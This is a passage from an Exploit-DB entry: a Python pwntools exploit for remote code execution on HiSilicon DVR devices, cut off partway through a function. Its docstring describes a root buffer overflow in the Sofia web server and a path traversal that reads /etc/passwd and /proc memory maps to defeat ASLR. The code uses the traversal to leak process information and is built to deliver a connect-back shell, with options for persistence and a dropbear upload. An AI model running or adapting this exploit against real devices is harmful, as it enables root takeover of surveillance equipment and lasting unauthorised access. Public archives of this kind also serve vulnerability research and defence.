Exploit-DB #44004
Description: HiSilicon DVR Devices - Remote Code Execution
Type: remote
Platform: hardware
Date: 2017-09-07
Author: Istvan Toth

Exploit:
#!/usr/bin/env python2
#
# pwn hisilicon dvr web service
#

from pwn import *
from time import sleep
import re
import argparse
import os

parser = argparse.ArgumentParser(description='exploit HiSilicon DVR devices')
parser.add_argument('--rhost', help='target host', required=True)
parser.add_argument('--rport', help='target port', default=80)
parser.add_argument('--lhost', help='connectback ip', required=True)
parser.add_argument('--lport', help='connectback port', default=31337)
parser.add_argument('--bhost', help='listen ip to bind (default: connectback)')
parser.add_argument('--bport', help='listen port to bind (default: connectback)')
parser.add_argument('-n', '--nolisten', help='do not start listener (you should care about connectback listener on your own)', action='store_true')
parser.add_argument('-i', '--interactive', help='select stack memory region interactively (rather than using autodetection)', action='store_true')
parser.add_argument('-p', '--persistent', help='make connectback shell persistent by restarting dvr app automatically (DANGEROUS!)', action='store_true')
parser.add_argument('-u', '--upload', help='upload tools (now hardcoded "./tools/dropbear" in script) after pwn', action='store_true')
parser.add_argument('--offset', help='exploit param stack offset to mem page base (default: 0x7fd3d8)', default=0x7fd3d8)
parser.add_argument('--cmdline', help='cmdline of Sofia binary on remote target (default "/var/Sofia")', default='/var/Sofia')

args = parser.parse_args()

target_host = args.rhost
target_port = int(args.rport)

sofia_cmdline = args.cmdline

if args.interactive:
    getleak_interactive = True
else:
    getleak_interactive = False

if args.persistent:
    shell_persistent = True
else:
    shell_persistent = False

if args.upload:
    shell_upload = True
else:
    shell_upload = False
    
connectback_host = args.lhost
connectback_port = int(args.lport)

if args.bhost:
    listen_host = args.bhost
else:
    listen_host = connectback_host
if args.bport:
    listen_port = int(args.bport)
else:
    listen_port = connectback_port


"""
vuln1: bof in httpd
-------------------
buffer overflow in builtin webserver binary `Sofia`
which can be exploited to run shellcode (as root) on the device.

PoC payload to cause a segfault:
payload = "GET " + "a"*299 + "xxxx" + " HTTP"

note, that in "xxxx" we can control pc register (program flow)!

there is no nx enabled, so executing shellcode in place of "a"*299
is possible. however, stack address leak is needed to defeat aslr.

vuln2: path traversal vuln in httpd
-----------------------------------
builtin webserver has a directory path traversal vulnerability
which can be exploited to leak arbitrary files.
note, that the webserver binary `Sofia` is running as root,
so exploiting this arbitrary file can be read from device fs.

PoC request "GET ../../etc/passwd HTTP" reads file "/etc/passwd".
Furthermore, dir listing is enabled as well.

by exploiting vuln2 we can defeat aslr needed to exploit vuln1.
namely, filesystem at /proc contains lots of information
about running processes, e.g. contains memory mappings:
request "GET ../../proc/[pid]/maps HTTP" reads memory
mapping of process with pid [pid]. obverving the memory
mapping patterns usually enough to defeat aslr (offset
from mem map base is the same, even in different versions).
"""

# get pid of running dvr binary '/var/Sofia'
def findpid():
    with log.progress('getting pidlist') as logp:
        c = context.log_level
        context.log_level = 'error'
        r = remote(target_host, target_port)
        r.sendline('GET ../../proc HTTP')
        pids = []
        for line in r.recvall().splitlines():
            res = re.match(r'.*\.\./\.\./proc/([0-9]+)"', line)
            if res:
                pids.append(int(res.group(1)))
        r.close()
        context.log_level = c
        logp.success('found %d processes' % len(pids))

    with log.progress("searching for PID of '%s'" % sofia_cmdline) as logp:
        pid_sofia = None
        pids.sort(reverse=True)
        for pid in pids:
            logp.status(str(pid))
            c = context.log_level
            context.log_level = 'error'
            r = remote(target_host, target_port)
            r.sendline('GET ../../proc/%d/cmdline HTTP' % pid)
            resp = r.recvall().splitlines()
            r.close()
            context.log_level = c
            if sofia_cmdline + '\x00' == resp[-1]:
                pid_sofia = pid
                logp.success(str(pid_sofia))
                break
        if not pid_sofia:
            logp.failure('did not found')

    return pid_sofia

def getmodelnumber():
    c = context.log_level
    context.log_level = 'error'
    r = remote(target_host, target_port)
    r.sendline('GET ../../mnt/custom/ProductDefinition HTTP')
    for l in r.recvall(timeout=5).decode('ascii').replace(',', '\n').splitlines():
        if "Hardware" in l:
            modelnumber = l.split(":")[1].split('"')[1]
    r.close()
    context.log_level = c
    return modelnumber

def guessregion(smaps):
    for t in range(len(smaps)-7, 1, -1):
        if (smaps[t][1][0], smaps[t+1][1][0], smaps[t+2][1][0], smaps[t+3][1][0], smaps[t+4][1][0], smaps[t+5][1][0], smaps[t+6][1][0]) == (8188, 8188, 8188, 8188, 8188, 8188, 8188) and smaps[t][1][1] == 4 and smaps[t+1][1][1] == 4 and smaps[t+2][1][1] == 4 and smaps[t+3][1][1] >= 8 and smaps[t+4][1][1] >= 4 and smaps[t+5][1][1] >= 4 and smaps[t+6][1][1] >= 8:
            return (t+3)
    return (-1)

# getting stack section base address
# 'k' defines the section which contains the stack
def getleak(pid, interactive):
    with log.progress("getting stack section base") as logp:
        c = context.log_level
        context.log_level = 'error'
        r = remote(target_host, target_port)
        r.sendline('GET ../../pro